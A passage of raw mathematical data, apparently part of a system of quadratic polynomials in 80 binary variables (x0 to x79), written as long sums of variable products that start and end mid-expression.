x59*x77 + x59*x79 + x60*x61 + x60*x62 + x60*x63 + x60*x64 + x60*x65 + x60*x70 + x60*x71 + x60*x75 + x60*x76 + x60*x77 + x60*x78 + x60 + x61*x62 + x61*x64 + x61*x65 + x61*x67 + x61*x68 + x61*x71 + x61*x73 + x61*x76 + x61*x79 + x61 + x62*x64 + x62*x66 + x62*x67 + x62*x68 + x62*x69 + x62*x70 + x62*x72 + x62*x73 + x62*x75 + x62*x79 + x63*x65 + x63*x66 + x63*x67 + x63*x68 + x63*x70 + x63*x71 + x63*x75 + x63*x76 + x63*x77 + x64*x65 + x64*x66 + x64*x70 + x64*x71 + x64*x74 + x65*x69 + x65*x70 + x65*x71 + x65*x73 + x65*x74 + x65*x75 + x65*x77 + x65*x78 + x65*x79 + x66*x67 + x66*x70 + x66*x72 + x66*x76 + x66*x77 + x67*x68 + x67*x69 + x67*x76 + x67*x77 + x67*x78 + x67 + x68*x69 + x68*x70 + x68*x72 + x68*x76 + x68*x78 + x68*x79 + x69*x71 + x69*x72 + x69*x73 + x69*x75 + x69*x76 + x69*x77 + x69*x79 + x69 + x70*x71 + x70*x72 + x70*x73 + x70*x78 + x70*x79 + x70 + x71*x74 + x71*x77 + x71*x78 + x72*x76 + x72*x77 + x72*x79 + x73*x74 + x73*x75 + x73*x76 + x73*x79 + x74*x76 + x74*x78 + x74 + x75*x76 + x76*x77 + x76 + x77*x79 + x77 + 1, x0*x1 + x0*x2 + x0*x5 + x0*x6 + x0*x10 + x0*x11 + x0*x17 + x0*x23 + x0*x28 + x0*x29 + x0*x30 + x0*x32 + x0*x33 + x0*x34 + x0*x35 + x0*x36 + x0*x40 + x0*x42 + x0*x43 + x0*x46 + x0*x50 + x0*x52 + x0*x53 + x0*x56 + x0*x57 + x0*x58 + x0*x59 + x0*x60 + x0*x61 + x0*x62 + x0*x65 + x0*x67 + x0*x69 + x0*x70 + x0*x72 + x0*x73 + x0*x75 + x0*x79 + x0 + x1*x6 + x1*x7 + x1*x8 + x1*x10 + x1*x11 + x1*x13 + x1*x15 + x1*x16 + x1*x17 + x1*x23 + x1*x25 + x1*x27 + x1*x30 + x1*x31 + x1*x34 + x1*x35 + x1*x36 + x1*x42 + x1*x44 + x1*x45 + x1*x47 + x1*x48 + x1*x53 + x1*x54 + x1*x55 + x1*x57 + x1*x59 + x1*x61 + x1*x62 + x1*x64 + x1*x66 + x1*x67 + x1*x72 + x1*x79 + x1 + x2*x3 + x2*x5 + x2*x7 + x2*x10 + x2*x12 + x2*x13 + x2*x14 + x2*x16 + x2*x18 + x2*x20 + x2*x23 + x2*x25 + x2*x26 + x2*x28 + x2*x30 + x2*x32 + x2*x33 + x2*x35 + x2*x36 + x2*x37 + x2*x38 + x2*x40 + x2*x41 + x2*x45 + x2*x46 + x2*x48 + x2*x50 + x2*x54 + x2*x56 + x2*x57 + x2*x58 + x2*x59 + x2*x61 + x2*x62 + x2*x63 + x2*x70 + x2*x71 + x2*x72 + x2*x74 + x2*x75 + x2*x77 + x2*x79 + x2 + x3*x6 + x3*x8 + x3*x11 + x3*x18 + x3*x19 + x3*x25 + x3*x26 + x3*x27 + x3*x28 + x3*x31 + x3*x32 + x3*x38 + x3*x46 + x3*x47 + x3*x49 + x3*x52 + x3*x53 + x3*x54 + x3*x56 + x3*x57 + x3*x58 + x3*x59 + x3*x61 + x3*x62 + x3*x63 + x3*x65 + x3*x67 + x3*x69 + x3*x73 + x3*x75 + x3*x76 + x3*x78 + x3*x79 + x3 + x4*x5 + x4*x6 + x4*x11 + x4*x12 + x4*x18 + x4*x23 + x4*x27 + x4*x31 + x4*x32 + x4*x34 + x4*x35 + x4*x38 + x4*x39 + x4*x42 + x4*x44 + x4*x46 + x4*x50 + x4*x51 + x4*x53 + x4*x57 + x4*x59 + x4*x60 + x4*x61 + x4*x62 + x4*x64 + x4*x68 + x4*x73 + x4*x74 + x4*x75 + x4*x76 + x4*x77 + x4*x79 + x5*x6 + x5*x9 + x5*x10 + x5*x11 + x5*x12 + x5*x14 + x5*x17 + x5*x18 + x5*x20 + x5*x21 + x5*x23 + x5*x24 + x5*x25 + x5*x31 + x5*x33 + x5*x35 + x5*x39 + x5*x40 + x5*x42 + x5*x43 + x5*x44 + x5*x46 + x5*x47 + x5*x50 + x5*x56 + x5*x57 + x5*x60 + x5*x62 + x5*x68 + x5*x70 + x5*x71 + x5*x74 + x5*x77 + x5*x79 + x6*x7 + x6*x8 + x6*x9 + x6*x11 + x6*x13 + x6*x21 + x6*x22 + x6*x25 + x6*x26 + x6*x30 + x6*x31 + x6*x34 + x6*x37 + x6*x38 + x6*x39 + x6*x44 + x6*x45 + x6*x49 + x6*x53 + x6*x56 + x6*x57 + x6*x58 + x6*x61 + x6*x62 + x6*x64 + x6*x68 + x6*x74 + x6*x76 + x6*x78 + x6*x79 + x7*x11 + x7*x14 + x7*x16 + x7*x17 + x7*x21 + x7*x22 + x7*x28 + x7*x29 + x7*x30 + x7*x32 + x7*x33 + x7*x34 + x7*x35 + x7*x36 + x7*x38 + x7*x39 + x7*x40 + x7*x41 + x7*x42 + x7*x43 + x7*x50 + x7*x53 + x7*x54 + x7*x56 + x7*x58 + x7*x60 + x7*x62 + x7*x67 + x7*x68 + x7*x69 + x7*x70 + x7*x71 + x7*x74 + x7*x75 + x7*x77 + x8*x9 + x8*x14 + x8*x15 + x8*x16 + x8*x17 + x8*x18 + x8*x21 + x8*x24 + x8*x27 + x8*x29 + x8*x31 + x8*x32 + x8*x34 + x8*x35 + x8*x36 + x8*x39 + x8*x40 + x8*x42 + x8*x44 + x8*x45 + x8*x47 + x8*x52 + x8*x56 + x8*x58 + x8*x60 + x8*x61 + x8*x62 + x8*x63 + x8*x64 + x8*x66 + x8*x69 + x8*x73 + x8*x75 + x8*x76 + x9*x10 + x9*x12 + x9*x13 + x9*x15 + x9*x17 + x9*x18 + x9*x19 + x9*x28 + x9*x33 + x9*x36 + x9*x39 + x9*x41 + x9*x42 + x9*x43 + x9*x45 + x9*x49 + x9*x50 + x9*x51 + x9*x52 + x9*x53 + x9*x58 + x9*x62 + x9*x64 + x9*x65 + x9*x67 + x9*x72 + x9*x73 + x9*x75 + x9*x77 + x9*x79 + x9 + x10*x11 + x10*x13 + x10*x14 + x10*x15 + x10*x16 + x10*x17 + x10*x21 + x10*x25 + x10*x26 + x10*x27 + x10*x28 + x10*x31 + x10*x34 + x10*x35 + x10*x37 + x10*x39 + x10*x40 + x10*x41 + x10*x44 + x10*x45 + x10*x47 + x10*x57 + x10*x58 + x10*x60 + x10*x61 + x10*x62 + x10*x66 + x10*x68 + x10*x70 + x10*x72 + x10*x73 + x10*x74 + x10*x75 + x11*x12 + x11*x13 + x11*x17 + x11*x19 + x11*x20 + x11*x21 + x11*x22 + x11*x23 + x11*x24 + x11*x28 + x11*x32 + x11*x33 + x11*x34 + x11*x37 + x11*x41 + x11*x42 + x11*x43 + x11*x47 + x11*x49 + x11*x50 + x11*x51 + x11*x52 + x11*x53 + x11*x55 + x11*x56 + x11*x57 + x11*x58 + x11*x61 + x11*x62 + x11*x66 + x11*x67 + x11*x68 + x11*x69 + x11*x71 + x11*x74 + x11*x78 + x11*x79 + x12*x13 + x12*x14 + x12*x16 + x12*x21 + x12*x23 + x12*x28 + x12*x30 + x12*x32 + x12*x33 + x12*x36 + x12*x38 + x12*x40 + x12*x48 + x12*x49 + x12*x51 + x12*x53 + x12*x56 + x12*x58 + x12*x62 + x12*x64 + x12*x65 + x12*x66 + x12*x69 + x12*x70 + x12*x71 + x12*x72 + x12*x73 + x12*x77 + x12*x78 + x12*x79 + x13*x16 + x13*x20 + x13*x23 + x13*x24 + x13*x26 + x13*x27 + x13*x28 + x13*x33 + x13*x37 + x13*x39 + x13*x40 + x13*x41 + x13*x43 + x13*x44 + x13*x46 + x13*x48 + x13*x50 + x13*x55 + x13*x58 + x13*x59 + x13*x61 + x13*x62 + x13*x63 + x13*x64 + x13*x65 + x13*x66 + x13*x69 + x13*x73 + x13*x76 + x13*x77 + x13 + x14*x15 + x14*x16 + x14*x17 + x14*x20 + x14*x21 + x14*x22 + x14*x23 + x14*x24 + x14*x25 + x14*x27 + x14*x29 + x14*x30 + x14*x31 + x14*x33 + x14*x34 + x14*x35 + x14*x36 + x14*x37 + x14*x38 + x14*x39 + x14*x45 + x14*x46 + x14*x47 + x14*x48 + x14*x49 + x14*x50 + x14*x52 + x14*x53 + x14*x57 + x14*x60 + x14*x61 + x14*x62 + x14*x64 + x14*x67 + x14*x70 + x14*x74 + x14*x75 + x14*x79 + x14 + x15*x16 + x15*x17 + x15*x18 + x15*x19 + x15*x22 + x15*x24 + x15*x26 + x15*x27 + x15*x29 + x15*x30 + x15*x31 + x15*x32 + x15*x33 + x15*x34 + x15*x35 + x15*x38 + x15*x40 + x15*x41 + x15*x44 + x15*x48 + x15*x51 + x15*x53 + x15*x54 + x15*x56 + x15*x61 + x15*x64 + x15*x65 + x15*x69 + x15*x72 + x15*x73 + x15*x75 + x15 + x16*x20 + x16*x22 + x16*x23 + x16*x26 + x16*x28 + x16*x29 + x16*x30 + x16*x31 + x16*x33 + x16*x35 + x16*x37 + x16*x38 + x16*x41 + x16*x43 + x16*x44 + x16*x46 + x16*x48 + x16*x50 + x16*x51 + x16*x55 + x16*x56 + x16*x58 + x16*x59 + x16*x65 + x16*x67 + x16*x71 + x16*x72 + x16*x74 + x16*x76 + x16*x77 + x16*x79 + x16 + x17*x19 + x17*x20 + x17*x21 + x17*x22 + x17*x26 + x17*x29 + x17*x30 + x17*x31 + x17*x32 + x17*x33 + x17*x34 + x17*x35 + x17*x41 + x17*x43 + x17*x46 + x17*x47 + x17*x48 + x17*x50 + x17*x51 + x17*x53 + x17*x54 + x17*x62 + x17*x63 + x17*x65 + x17*x66 + x17*x68 + x17*x69 + x17*x71 + x17*x72 + x17*x73 + x17*x77 + x17*x78 + x17 + x18*x19 + x18*x23 + x18*x25 + x18*x29 + x18*x33 + x18*x34 + x18*x37 + x18*x38 + x18*x39 + x18*x43 + x18*x44 + x18*x45 + x18*x46 + x18*x50 + x18*x52 + x18*x55 + x18*x56 + x18*x57 + x18*x58 + x18*x60 + x18*x65 + x18*x66 + x18*x68 + x18*x69 + x18*x71 + x18*x72 + x18*x75 + x18 + x19*x20 + x19*x21 + x19*x23 + x19*x25 + x19*x29 + x19*x36 + x19*x39 + x19*x40 + x19*x42 + x19*x46 + x19*x50 + x19*x52 + x19*x53 + x19*x54 + x19*x55 + x19*x57 + x19*x58 + x19*x59 + x19*x60 + x19*x61 + x19*x63 + x19*x66 + x19*x67 + x19*x69 + x19*x70 + x19*x73 + x19*x74 + x19*x75 + x19*x76 + x19*x78 + x19 + x20*x26 + x20*x27 + x20*x28 + x20*x30 + x20*x35 + x20*x38 + x20*x40 + x20*x41 + x20*x42 + x20*x43 + x20*x48 + x20*x54 + x20*x56 + x20*x58 + x20*x63 + x20*x65 + x20*x67 + x20*x68 + x20*x69 + x20*x73 + x20*x77 + x20*x78 + x20*x79 + x21*x22 + x21*x23 + x21*x24 + x21*x25 + x21*x27 + x21*x28 + x21*x29 + x21*x30 + x21*x33 + x21*x38 + x21*x40 + x21*x41 + x21*x42 + x21*x43 + x21*x50 + x21*x52 + x21*x56 + x21*x58 + x21*x60 + x21*x65 + x21*x66 + x21*x68 + x21*x69 + x21*x71 + x21*x72 + x21*x74 + x21*x75 + x21*x76 + x21 + x22*x26 + x22*x27 + x22*x29 + x22*x31 + x22*x33 + x22*x34 + x22*x38 + x22*x39 + x22*x41 + x22*x45 + x22*x48 + x22*x49 + x22*x52 + x22*x53 + x22*x54 + x22*x56 + x22*x57 + x22*x58 + x22*x60 + x22*x61 + x22*x62 + x22*x63 + x22*x64 + x22*x65 + x22*x66 + x22*x68 + x22*x69 + x22*x72 + x22*x73 + x22*x76 + x22*x79 + x23*x24 + x23*x25 + x23*x27 + x23*x29 + x23*x30 + x23*x31 + x23*x33 + x23*x34 + x23*x35 + x23*x36 + x23*x39 + x23*x41 + x23*x42 + x23*x43 + x23*x45 + x23*x47 + x23*x55 + x23*x56 + x23*x57 + x23*x58 + x23*x63 + x23*x65 + x23*x66 + x23*x67 + x23*x69 + x23*x71 + x23*x72 + x23*x74 + x23*x75 + x23*x77 + x23*x78 + x24*x25 + x24*x27 + x24*x29 + x24*x32 + x24*x33 + x24*x35 + x24*x36 + x24*x37 + x24*x40 + x24*x41 + x24*x43 + x24*x44 + x24*x51 + x24*x52 + x24*x55 + x24*x56 + x24*x62 + x24*x63 + x24*x64 + x24*x67 + x24*x68 + x24*x71 + x24*x72 + x24*x73 + x24*x77 + x24*x78 + x24*x79 + x24 + x25*x27 + x25*x28 + x25*x33 + x25*x34 + x25*x35 + x25*x38 + x25*x39 + x25*x41 + x25*x42 + x25*x43 + x25*x45 + x25*x46 + x25*x49 + x25*x51 + x25*x53 + x25*x55 + x25*x57 + x25*x58 + x25*x61 + x25*x63 + x25*x65 + x25*x68 + x25*x70 + x25*x72 + x25*x73 + x25*x75 + x25*x78 + x25*x79 + x26*x29 + x26*x30 + x26*x31 + x26*x34 + x26*x35 + x26*x42 + x26*x45 + x26*x48 + x26*x49 + x26*x52 + x26*x58 + x26*x60 + x26*x61 + x26*x62 + x26*x63 + x26*x71 + x26*x73 + x26*x74 + x26*x76 + x26*x78 + x27*x28 + x27*x33 + x27*x37 + x27*x39 + x27*x40 + x27*x41 + x27*x42 + x27*x43 + x27*x45 + x27*x47 + x27*x48 + x27*x49 + x27*x52 + x27*x53 + x27*x55 + x27*x58 + x27*x60 + x27*x61 + x27*x62 + x27*x63 + x27*x65 + x27*x66 + x27*x67 + x27*x69 + x27*x71 + x27*x72 + x27*x74 + x27*x76 + x27 + x28*x29 + x28*x31 + x28*x32 + x28*x33 + x28*x36 + x28*x37 + x28*x39 + x28*x42 + x28*x45 + x28*x48 + x28*x51 + x28*x53 + x28*x54 + x28*x56 + x28*x57 + x28*x58 + x28*x60 + x28*x63 + x28*x64 + x28*x68 + x28*x69 + x28*x71 + x28*x72 + x28*x73 + x28*x74 + x28*x75 + x28*x76 + x28 + x29*x33 + x29*x34 + x29*x36 + x29*x37 + x29*x38 + x29*x41 + x29*x44 + x29*x45 + x29*x47 + x29*x50 + x29*x51 + x29*x52 + x29*x53 + x29*x54 + x29*x55 + x29*x56 + x29*x57 + x29*x58 + x29*x59 + x29*x64 + x29*x71 + x29*x75 + x29*x77 + x29*x78 + x30*x31 + x30*x32 + x30*x34 + x30*x35 + x30*x39 + x30*x41 + x30*x43 + x30*x44 + x30*x46 + x30*x47 + x30*x51 + x30*x52 + x30*x53 + x30*x56 + x30*x57 + x30*x60 + x30*x61 + x30*x62 + x30*x64 + x30*x67 + x30*x68 + x30*x69 + x30*x71 + x30*x72 + x30*x76 + x30*x77 + x30*x78 + x30 + x31*x32 + x31*x33 + x31*x34 + x31*x37 + x31*x39 + x31*x40 + x31*x47 + x31*x48 + x31*x49 + x31*x51 + x31*x53 + x31*x55 + x31*x58 + x31*x66 + x31*x67 + x31*x69 + x31*x73 + x31*x74 + x31*x75 + x31*x77 + x31*x79 + x31 + x32*x36 + x32*x37 + x32*x38 + x32*x43 + x32*x46 + x32*x48 + x32*x49 + x32*x50 + x32*x51 + x32*x52 + x32*x53 + x32*x54 + x32*x55 + x32*x59 + x32*x61 + x32*x62 + x32*x64 + x32*x65 + x32*x66 + x32*x67 + x32*x68 + x32*x69 + x32*x73 + x32*x74 + x32*x76 + x32*x77 + x32*x78 + x33*x35 + x33*x36 + x33*x39 + x33*x40 + x33*x43 + x33*x45 + x33*x46 + x33*x47 + x33*x51 + x33*x52 + x33*x54 + x33*x55 + x33*x56 + x33*x61 + x33*x63 + x33*x64 + x33*x65 + x33*x67 + x33*x68 + x33*x71 + x33*x72 + x33*x75 + x33*x76 + x33*x77 + x33*x78 + x34*x37 + x34*x41 + x34*x43 + x34*x44 + x34*x49 + x34*x51 + x34*x57 + x34*x58 + x34*x59 + x34*x60 + x34*x61 + x34*x62 + x34*x63 + x34*x64 + x34*x65 + x34*x68 + x34*x69 + x34*x71 + x34*x75 + x34 + x35*x38 + x35*x39 + x35*x43 + x35*x44 + x35*x45 + x35*x47 + x35*x49 + x35*x51 + x35*x52 + x35*x56 + x35*x58 + x35*x59 + x35*x61 + x35*x62 + x35*x64 + x35*x66 + x35*x68 + x35*x69 + x35*x71 + x35*x73 + x35*x74 + x36*x38 + x36*x44 + x36*x47 + x36*x48 + x36*x49 + x36*x52 + x36*x53 + x36*x54 + x36*x56 + x36*x60 + x36*x63 + x36*x64 + x36*x65 + x36*x66 + x36*x68 + x36*x73 + x36*x75 + x36*x76 + x37*x40 + x37*x42 + x37*x46 + x37*x47 + x37*x48 + x37*x52 + x37*x54 + x37*x56 + x37*x58 + x37*x59 + x37*x60 + x37*x61 + x37*x62 + x37*x64 + x37*x66 + x37*x68 + x37*x71 + x37*x72 + x37*x74 + x37*x79 + x37 + x38*x40 + x38*x41 + x38*x42 + x38*x43 + x38*x46 + x38*x47 + x38*x48 + x38*x51 + x38*x52 + x38*x53 + x38*x54 + x38*x55 + x38*x58 + x38*x59 + x38*x61 + x38*x63 + x38*x65 + x38*x66 + x38*x68 + x38*x70 + x38*x72 + x38*x73 + x38*x74 + x38*x79 + x38 + x39*x42 + x39*x45 + x39*x47 + x39*x48 + x39*x49 + x39*x50 + x39*x51 + x39*x52 + x39*x54 + x39*x60 + x39*x62 + x39*x63 + x39*x64 + x39*x68 + x39*x69 + x39*x70 + x39*x72 + x39*x74 + x39*x76 + x39*x77 + x39*x78 + x40*x43 + x40*x44 + x40*x45 + x40*x46 + x40*x49 + x40*x50 + x40*x52 + x40*x54 + x40*x55 + x40*x60 + x40*x61 + x40*x62 + x40*x64 + x40*x65 + x40*x69 + x40*x70 + x40*x71 + x40*x72 + x40*x73 + x40*x74 + x40*x76 + x40*x77 + x40*x78 + x41*x42 + x41*x43 + x41*x44 + x41*x45 + x41*x46 + x41*x48 + x41*x51 + x41*x52 + x41*x54 + x41*x57 + x41*x59 + x41*x62 + x41*x63 + x41*x65 + x41*x66 + x41*x68 + x41*x71 + x41*x72 + x41*x78 + x41*x79 + x41 + x42*x44 + x42*x45 + x42*x46 + x42*x51 + x42*x54 + x42*x55 + x42*x57 + x42*x58 + x42*x60 + x42*x61 + x42*x67 + x42*x68 + x42*x70 + x42*x71 + x42*x74 + x42*x75 + x42*x76 + x42*x77 + x42*x79 + x42 + x43*x46 + x43*x49 + x43*x50 + x43*x55 + x43*x61 + x43*x63 + x43*x64 + x43*x65 + x43*x66 + x43*x68 + x43*x69 + x43*x70 + x43*x73 + x43*x76 + x43*x77 + x43*x79 + x43 + x44*x46 + x44*x47 + x44*x48 + x44*x51 + x44*x54 + x44*x55 + x44*x58 + x44*x59 + x44*x60 + x44*x64 + x44*x65 + x44*x67 + x44*x68 + x44*x69 + x44*x70 + x44*x71 + x44*x72 + x44*x73 + x44*x76 + x44*x77 + x44*x78 + x44*x79 + x45*x46 + x45*x47 + x45*x48 + x45*x53 + x45*x54 + x45*x55 + x45*x57 + x45*x60 + x45*x63 + x45*x64 + x45*x66 + x45*x67 + x45*x68 + x45*x71 + x45*x72 + x45*x76 + x45*x78 + x46*x48 + x46*x50 + x46*x56 + x46*x57 + x46*x60 + x46*x62 + x46*x63 + x46*x65 + x46*x66 + x46*x70 + x46*x72 + x46*x74 + x46*x75 + x46*x76 + x46*x77 + x46*x78 + x46*x79 + x46 + x47*x56 + x47*x57 + x47*x58 + x47*x63 + x47*x65 + x47*x66 + x47*x67 + x47*x69 + x47*x70 + x47*x71 + x47*x74 + x47*x76 + x47*x77 + x47*x78 + x47*x79 + x48*x49 + x48*x53 + x48*x54 + x48*x57 + x48*x58 + x48*x60 + x48*x63 + x48*x69 + x48*x73 + x48*x74 + x48*x76 + x48*x77 + x48*x79 + x48 + x49*x51 + x49*x52 + x49*x55 + x49*x57 + x49*x59 + x49*x63 + x49*x66 + x49*x71 + x49*x74 + x49*x75 + x49*x76 + x49*x78 + x49 + x50*x51 + x50*x53 + x50*x56 + x50*x58 + x50*x59 + x50*x60 + x50*x61 + x50*x62 + x50*x64 + x50*x66 + x50*x67 + x50*x69 + x50*x72 + x50*x74 + x50*x76 + x50*x77 + x50 + x51*x52 + x51*x54 + x51*x57 + x51*x62 + x51*x67 + x51*x68 + x51*x69 + x51*x70 + x51*x78 + x52*x53 + x52*x54 + x52*x56 + x52*x57 + x52*x60 + x52*x61 + x52*x62 + x52*x65 + x52*x67 + x52*x68 + x52*x70 + x52*x71 + x52*x73 + x52*x75 + x52*x76 + x52*x77 + x52*x78 + x53*x55 + x53*x56 + x53*x58 + x53*x63 + x53*x67 + x53*x68 + x53*x69 + x53*x70 + x53*x72 + x53*x73 + x53*x74 + x53*x75 + x53*x76 + x53*x77 + x53 + x54*x55 + x54*x56 + x54*x57 + x54*x62 + x54*x64 + x54*x65 + x54*x67 + x54*x68 + x54*x69 + x54*x70 + x54*x71 + x54*x72 + x54*x76 + x54*x79 + x55*x56 + x55*x57 + x55*x58 + x55*x61 + x55*x62 + x55*x64 + x55*x66 + x55*x67 + x55*x68 + x55*x69 + x55*x70 + x55*x71 + x55*x72 + x55*x73 + x55*x75 + x55*x76 + x55*x77 + x55*x78 + x56*x57 + x56*x60 + x56*x61 + x56*x64 + x56*x66 + x56*x68 + x56*x69 + x56*x71 + x56*x74 + x56*x77 + x56*x78 + x57*x58 + x57*x60 + x57*x62 + x57*x64 + x57*x66 + x57*x70 + x57*x72 + x57*x77 + x57*x79 + x57 + x58*x61 + x58*x63 + x58*x64 + x58*x65 + x58*x68 + x58*x73 + x58*x77 + x58*x78 + x58*x79 + x58 + x59*x60 + x59*x61 + x59*x66 + x59*x67 + x59*x68 + x59*x72 + x59*x73 + x59*x74 + x59*x78 + x59 + x60*x63 + x60*x65 + x60*x66 + x60*x67 + x60*x68 + x60*x70 + x60*x72 + x60*x73 + x60*x75 + x60*x76 + x60*x79 + x60 + x61*x64 + x61*x65 + x61*x66 + x61*x68 + x61*x73 + x61*x75 + x62*x65 + x62*x66 + x62*x69 + x62*x71 + x62*x76 + x62*x77 + x62*x79 + x62 + x63*x64 + x63*x66 + x63*x67 + x63*x70 + x63*x71 + x63*x73 + x63*x75 + x63*x76 + x63*x77 + x63 + x64*x66 + x64*x67 + x64*x68 + x64*x69 + x64*x74 + x64*x77 + x64*x78 + x64*x79 + x64 + x65*x66 + x65*x67 + x65*x70 + x65*x72 + x65*x73 + x65*x74 + x65*x76 + x65*x78 + x66*x68 + x66*x70 + x66*x77 + x66*x78 + x66*x79 + x66 + x67*x70 + x67*x71 + x67*x73 + x67*x75 + x67*x77 + x67*x78 + x68*x72 + x68*x77 + x68*x79 + x68 + x69*x70 + x69*x71 + x69*x78 + x69 + x70*x73 + x70*x75 + x70*x76 + x70*x79 + x70 + x71*x73 + x71*x74 + x71*x75 + x71*x76 + x72*x75 + x72*x76 + x72*x79 + x73*x74 + x73*x78 + x73*x79 + x74*x78 + x74*x79 + x74 + x75*x76 + x75*x77 + x75*x78 + x76 + x77*x78 + x77*x79 + x77 + x79 + 1, x0*x7 + x0*x8 + x0*x9 + x0*x10 + x0*x14 + x0*x15 + x0*x16 + x0*x18 + x0*x20 + x0*x23 + x0*x24 + x0*x25 + x0*x27 + x0*x28 + x0*x32 + x0*x37 + x0*x42 + x0*x46 + x0*x48 + x0*x51 + x0*x52 + x0*x61 + x0*x62 + x0*x64 + x0*x70 + x0*x72 + x0*x73 + x0*x75 + x0 + x1*x2 + x1*x4 + x1*x5 + x1*x7 + x1*x9 + x1*x10 + x1*x11 + x1*x12 + x1*x14 + x1*x15 + x1*x16 + x1*x17 + x1*x18 + x1*x19 + x1*x20 + x1*x23 + x1*x29 + x1*x32 + x1*x34 + x1*x40 + x1*x41 + x1*x42 + x1*x43 + x1*x45 + x1*x46 + x1*x47 + x1*x51 + x1*x52 + x1*x54 + x1*x56 + x1*x60 + x1*x63 + x1*x66 + x1*x68 + x1*x70 + x1*x73 + x1*x74 + x1*x76 + x1*x77 + x1*x78 + x2*x9 + x2*x12 + x2*x13 + x2*x16 + x2*x17 + x2*x18 + x2*x19 + x2*x22 + x2*x23 + x2*x24 + x2*x27 + x2*x29 + x2*x32 + x2*x33 + x2*x34 + x2*x38 + x2*x39 + x2*x40 + x2*x41 + x2*x43 + x2*x45 + x2*x50 + x2*x52 + x2*x53 + x2*x54 + x2*x55 + x2*x56 + x2*x58 + x2*x59 + x2*x61 + x2*x66 + x2*x68 + x2*x69 + x2*x70 + x2*x71 + x2*x72 + x2*x73 + x2*x74 + x2*x76 + x2*x77 + x2*x78 + x2*x79 + x3*x7 + x3*x8 + x3*x9 + x3*x10 + x3*x11 + x3*x13 + x3*x14 + x3*x15 + x3*x16 + x3*x18 + x3*x19 + x3*x20 + x3*x22 + x3*x24 + x3*x25 + x3*x26 + x3*x27 + x3*x28 + x3*x30 + x3*x31 + x3*x32 + x3*x35 + x3*x37 + x3*x38 + x3*x39 + x3*x41 + x3*x43 + x3*x44 + x3*x46 + x3*x47 + x3*x49 + x3*x52 + x3*x54 + x3*x55 + x3*x57 + x3*x60 + x3*x61 + x3*x63 + x3*x66 + x3*x70 + x3*x77 + x3*x78 + x4*x5 + x4*x6 + x4*x7 + x4*x8 + x4*x9 + x4*x11 + x4*x12 + x4*x13 + x4*x14 + x4*x18 + x4*x19 + x4*x20 + x4*x23 + x4*x26 + x4*x29 + x4*x30 + x4*x32 + x4*x33 + x4*x34 + x4*x35 + x4*x37 + x4*x43 + x4*x44 + x4*x46 + x4*x48 + x4*x49 + x4*x50 + x4*x54 + x4*x55 + x4*x56 + x4*x57 + x4*x59 + x4*x60 + x4*x61 + x4*x62 + x4*x64 + x4*x65 + x4*x67 + x4 + x5*x7 + x5*x8 + x5*x9 + x5*x11 + x5*x13 + x5*x17 + x5*x18 + x5*x19 + x5*x21 + x5*x22 + x5*x23 + x5*x28 + x5*x31 + x5*x32 + x5*x38 + x5*x39 + x5*x45 + x5*x48 + x5*x51 + x5*x52 + x5*x55 + x5*x57 + x5*x58 + x5*x59 + x5*x61 + x5*x63 + x5*x64 + x5*x65 + x5*x68 + x5*x73 + x5*x75 + x5*x76 + x5*x78 + x5*x79 + x5 + x6*x16 + x6*x18 + x6*x19 + x6*x20 + x6*x23 + x6*x26 + x6*x27 + x6*x28 + x6*x30 + x6*x35 + x6*x37 + x6*x38 + x6*x39 + x6*x41 + x6*x42 + x6*x50 + x6*x52 + x6*x54 + x6*x55 + x6*x57 + x6*x59 + x6*x60 + x6*x61 + x6*x62 + x6*x63 + x6*x65 + x6*x66 + x6*x70 + x6*x73 + x6*x74 + x6*x76 + x6*x77 + x6*x78 + x6 + x7*x11 + x7*x13 + x7*x15 + x7*x16 + x7*x17 + x7*x22 + x7*x26 + x7*x27 + x7*x29 + x7*x30 + x7*x33 + x7*x37 + x7*x39 + x7*x40 + x7*x42 + x7*x45 + x7*x49 + x7*x53 + x7*x54 + x7*x55 + x7*x56 + x7*x57 + x7*x59 + x7*x61 + x7*x62 + x7*x75 + x7*x76 + x7*x77 + x7 + x8*x9 + x8*x11 + x8*x12 + x8*x13 + x8*x14 + x8*x15 + x8*x20 + x8*x21 + x8*x23 + x8*x25 + x8*x28 + x8*x30 + x8*x33 + x8*x35 + x8*x36 + x8*x39 + x8*x40 + x8*x41 + x8*x42 + x8*x43 + x8*x48 + x8*x49 + x8*x51 + x8*x53 + x8*x56 + x8*x57 + x8*x59 + x8*x61 + x8*x62 + x8*x63 + x8*x64 + x8*x67 + x8*x70 + x8*x71 + x8*x72 + x8*x73 + x8*x74 + x8*x77 + x8*x78 + x8 + x9*x12 + x9*x14 + x9*x16 + x9*x17 + x9*x19 + x9*x20 + x9*x21 + x9*x22 + x9*x24 + x9*x26 + x9*x27 + x9*x28 + x9*x29 + x9*x31 + x9*x33 + x9*x37 + x9*x40 + x9*x42 + x9*x43 + x9*x44 + x9*x45 + x9*x49 + x9*x51 + x9*x53 + x9*x55 + x9*x56 + x9*x59 + x9*x61 + x9*x62 + x9*x64 + x9*x65 + x9*x66 + x9*x67 + x9*x69 + x9*x71 + x9*x73 + x9*x74 + x9*x77 + x10*x11 + x10*x12 + x10*x16 + x10*x20 + x10*x21 + x10*x22 + x10*x23 + x10*x30 + x10*x33 + x10*x34 + x10*x35 + x10*x36 + x10*x37 + x10*x44 + x10*x46 + x10*x48 + x10*x51 + x10*x53 + x10*x55 + x10*x58 + x10*x62 + x10*x66 + x10*x67 + x10*x69 + x10*x70 + x10*x71 + x10*x72 + x10*x73 + x10*x75 + x10*x77 + x10*x79 + x11*x14 + x11*x16 + x11*x21 + x11*x22 + x11*x23 + x11*x26 + x11*x28 + x11*x29 + x11*x31 + x11*x32 + x11*x35 + x11*x38 + x11*x39 + x11*x42 + x11*x46 + x11*x47 + x11*x48 + x11*x49 + x11*x50 + x11*x51 + x11*x52 + x11*x53 + x11*x54 + x11*x56 + x11*x58 + x11*x59 + x11*x61 + x11*x63 + x11*x64 + x11*x66 + x11*x73 + x11*x74 + x11*x75 + x11*x76 + x12*x16 + x12*x18 + x12*x19 + x12*x23 + x12*x24 + x12*x25 + x12*x29 + x12*x31 + x12*x33 + x12*x40 + x12*x42 + x12*x43 + x12*x44 + x12*x45 + x12*x48 + x12*x49 + x12*x50 + x12*x51 + x12*x58 + x12*x59 + x12*x61 + x12*x64 + x12*x66 + x12*x68 + x12*x70 + x12*x71 + x12*x73 + x12*x75 + x12*x77 + x12*x79 + x13*x15 + x13*x16 + x13*x18 + x13*x24 + x13*x26 + x13*x30 + x13*x31 + x13*x32 + x13*x33 + x13*x34 + x13*x35 + x13*x36 + x13*x38 + x13*x39 + x13*x40 + x13*x42 